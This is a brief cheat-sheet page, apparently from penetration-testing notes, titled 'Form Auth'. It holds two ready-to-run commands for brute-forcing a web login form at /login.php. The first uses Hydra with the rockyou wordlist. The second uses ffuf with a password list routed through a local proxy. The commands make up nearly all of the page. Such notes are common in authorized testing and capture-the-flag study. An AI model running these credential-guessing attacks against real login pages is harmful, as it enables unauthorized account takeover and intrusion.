Skip to content

Form Auth

Hydra

sudo hydra -l admin -P /usr/share/wordlists/rockyou.txt $(target) http-post-form "/login.php:username=admin&password=^PASS^:invalid"

FFUF

ffuf -w pass.lst -X POST -d "username=admin&password=FUZZ" -H "Content-Type: application/x-www-form-urlencoded" -u http://$(target)/login.php -x http://127.0.0.1:8080 -fs 206